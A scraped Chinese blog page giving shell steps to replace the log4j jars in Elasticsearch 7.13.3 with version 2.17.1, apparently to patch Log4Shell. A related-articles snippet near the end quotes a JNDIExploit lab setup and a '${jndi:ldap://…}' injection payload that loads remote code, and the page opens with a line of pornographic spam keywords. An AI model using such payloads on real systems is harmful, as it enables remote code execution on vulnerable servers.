国产无码综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

elasticsearch-7.13.3 升級(jí)log4j 到log4j-2.17.1

2年前作者：soso 攻城獅分類：Toy博客閱讀(26)違法舉報(bào)

這篇具有很好參考價(jià)值的文章主要介紹了elasticsearch-7.13.3 升級(jí)log4j 到log4j-2.17.1。希望對(duì)大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方，請(qǐng)大家不吝賜教，您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問(wèn)。

1、升級(jí)原因
log4j低版本存在嚴(yán)重漏洞，根據(jù)需要升級(jí)到安全版本，不一定是最新。

log4j-2.17.1 jar包下載地址https://archive.apache.org/dist/logging/log4j/2.17.1/
2、下載后解壓apache-log4j-2.17.1-bin.tar.gz
升級(jí)需要用到截圖中四個(gè)jar包
log4j最新jar包,log4j,elasticsearch,大數(shù)據(jù)

3、升級(jí)
刪除舊版本log4j
進(jìn)入elasticsearch-7.13.3目錄
$ rm -rf lib/log4j-core-2.11.1.jar
$ rm -rf lib/log4j-api-2.11.1.jar
$ rm -rf modules/x-pack-identity-provider/log4j-slf4j-impl-2.11.1.jar
$ rm -rf modules/repository-url/log4j-1.2-api-2.11.1.jar
$ rm -rf modules/x-pack-core/log4j-1.2-api-2.11.1.jar
$ rm -rf modules/x-pack-security/log4j-slf4j-impl-2.11.1.jar

4、將需要升級(jí)的包拷貝到對(duì)應(yīng)目錄
$ cp log4j-core-2.17.1.jar /home/elk/elasticsearch-7.13.3/lib/
$ cp /log4j-api-2.17.1.jar /home/elk/elasticsearch-7.13.3/lib
$ cp log4j-slf4j-impl-2.17.1.jar /home/elk/elasticsearch-7.13.3/modules/x-pack-identity-provider/
$ cp log4j-1.2-api-2.17.1.jar /home/elk/elasticsearch-7.13.3/modules/repository-url/
$ cp log4j-1.2-api-2.17.1.jar /home/elk/elasticsearch-7.13.3/modules/x-pack-core/
$ cp log4j-slf4j-impl-2.17.1.jar /home/elk/elasticsearch-7.13.3/modules/x-pack-security/
5、重新啟動(dòng)elasticsearch服務(wù)文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-663418.html

到了這里，關(guān)于elasticsearch-7.13.3 升級(jí)log4j 到log4j-2.17.1的文章就介紹完了。如果您還想了解更多內(nèi)容，請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章，希望大家以后多多支持TOY模板網(wǎng)！

本文來(lái)自互聯(lián)網(wǎng)用戶投稿，該文觀點(diǎn)僅代表作者本人，不代表本站立場(chǎng)。本站僅提供信息存儲(chǔ)空間服務(wù)，不擁有所有權(quán)，不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載，請(qǐng)注明出處：如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符，請(qǐng)點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋，一經(jīng)查實(shí)，立即刪除！

分享到：

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

log4j官方漏洞修復(fù)史(更新至2.17.1/CVE-2021-44832)
自從log4j2.14.1版本爆出漏洞后，官方截止目前為止，共發(fā)布了3個(gè)穩(wěn)定版本，分別是15.0、16.0、17.0。本篇文章就分析一下每個(gè)版本都做了哪些事情，以此來(lái)評(píng)估每個(gè)版本升級(jí)的必要性。分割線--------------------------------------------------------------------------------------- 在28號(hào)晚上，log4
2024年02月07日
瀏覽(76)
JNDIExploit-1.2-SNAPSHOT.jar工具在log4j漏洞復(fù)現(xiàn)中的使用
1.首先搭建log4j靶場(chǎng) 2.開(kāi)啟服務(wù) Windows攻擊端執(zhí)行以下命令 java -jar JNDIExploit-1.2-SNAPSHOT.jar -l 8888 -p 9999 -i 127.0.0.1 再開(kāi)一個(gè)cmd可以看下能用什么payload java -jar JNDIExploit-1.2-SNAPSHOT.jar -u 以上payload都可以嘗試，我們使用 ldap://null:1389/TomcatBypass/TomcatEcho 3.構(gòu)造請(qǐng)求 ${jndi:ldap://192.168.155.2
2024年02月09日
瀏覽(37)
【分布式技術(shù)專題】「Zookeeper中間件」zookeeper的服務(wù)器的log4j升級(jí)為log4j2的升級(jí)方案（忽略配置化兼容問(wèn)題）
目前希望可以升級(jí)將Zookeeper中l(wèi)og4j的版本升級(jí)到log4j2版本，并且要避開(kāi)相關(guān)的log4j2的安全隱患問(wèn)題，此時(shí)需要考慮的就是針對(duì)于如何將無(wú)縫銜接log4j2的版本jar包的安裝呢？我們接下來(lái)觀察一下看看問(wèn)題所在。目前我采用的環(huán)境是windows環(huán)境，不過(guò)也同樣對(duì)其他操作系統(tǒng)有效，畢
2024年02月20日
瀏覽(25)
Springboot通過(guò)log4j2+logstash整合日志到Elasticsearch中
Springboot常用于spring-cloud中，大家在使用spring-cloud多服務(wù)的時(shí)候常常會(huì)存在一個(gè)問(wèn)題，就是某個(gè)服務(wù)報(bào)錯(cuò)了，去撈日志的時(shí)候要一個(gè)一個(gè)服務(wù)去監(jiān)控或者撈日志排查錯(cuò)誤信息，這樣很耗時(shí)耗力，Elasticsearch查詢數(shù)據(jù)非常方便，如果能夠?qū)⑷罩颈４娴紼lasticsearch中，出現(xiàn)問(wèn)題時(shí)根據(jù)
2024年02月04日
瀏覽(29)
Java中的Log4j是什么？如何使用Log4j進(jìn)行日志管理
Log4j是一個(gè)Java日志管理工具，它可以幫助開(kāi)發(fā)者在應(yīng)用程序中記錄日志。它是由Apache軟件基金會(huì)開(kāi)發(fā)和維護(hù)的，已經(jīng)成為Java開(kāi)發(fā)中最流行的日志管理框架之一。 Log4j可以通過(guò)多種方式記錄日志，包括控制臺(tái)輸出、文件輸出、數(shù)據(jù)庫(kù)存儲(chǔ)等。此外，Log4j還提供了多種日志級(jí)別，
2024年02月04日
瀏覽(34)
Log4J
為什么要用日志? -- 方便調(diào)試代碼什么時(shí)候用?什么時(shí)候不用? ? 出錯(cuò)調(diào)試代碼時(shí)候用生產(chǎn)環(huán)境下就不需要,就需要?jiǎng)h除怎么用? -- 輸出語(yǔ)句 ? log4j是Apache的一個(gè)開(kāi)放源代碼的項(xiàng)目，通過(guò)使用log4j，我們可以控制日志信息輸送的目的地是控制臺(tái)、文件、GUI組件、甚至是套接口服
2024年02月08日
瀏覽(21)
docker安裝elasticsearch報(bào)錯(cuò) main ERROR No Log4j 2 configuration file found. Using default configuration
Exception in thread \\\"main\\\" ElasticsearchParseException[malformed, expected settings to start with \\\'object\\\', instead was [VALUE_STRING]] 報(bào)錯(cuò)信息 2023-04-06 15:40:50,427 main ERROR No Log4j 2 configuration file found. Using default configuration (logging only errors to the console), or user programmatically provided configurations. Set system property \\\'lo
2024年02月07日
瀏覽(27)
log4j漏洞詳解
log4j全名就是（log for java），就是apache的一個(gè)開(kāi)源的日志記錄組件，它在Java項(xiàng)目中使用的比較廣泛。使用方法： ??????????????? 1.pom引入依賴 ??????????????? 2.獲取logger實(shí)例 ??????????????? 3.logger.info() debug() error() warn()... 優(yōu)點(diǎn)：功能豐富，易于集成
2024年02月16日
瀏覽(23)
Log4j源碼解析
Log4j源碼解析主要流程 Logger logger = Logger.getLogger(Main.class); 1、通過(guò)Logger.getLogger(Class clazz) 或 Logger.getLogger(String name)進(jìn)入。 2、加載LogManager進(jìn)jvm, 執(zhí)行靜態(tài)代碼塊執(zhí)行初始化, 創(chuàng)建出RepositorySelector實(shí)例及LoggerRepository實(shí)例(Hierarchy)。 3、調(diào)用OptionConverter.selectAndConfigure(URL url, String
2024年02月15日
瀏覽(25)
【日志加載 log4j】
2.編寫(xiě)配置 3.獲取日志對(duì)象 4.1 Loggers 記錄器 4.2 Appenders 輸出源 4.3 Layouts 布局 5. 配置文件 log4j.properties
2024年02月11日
瀏覽(23)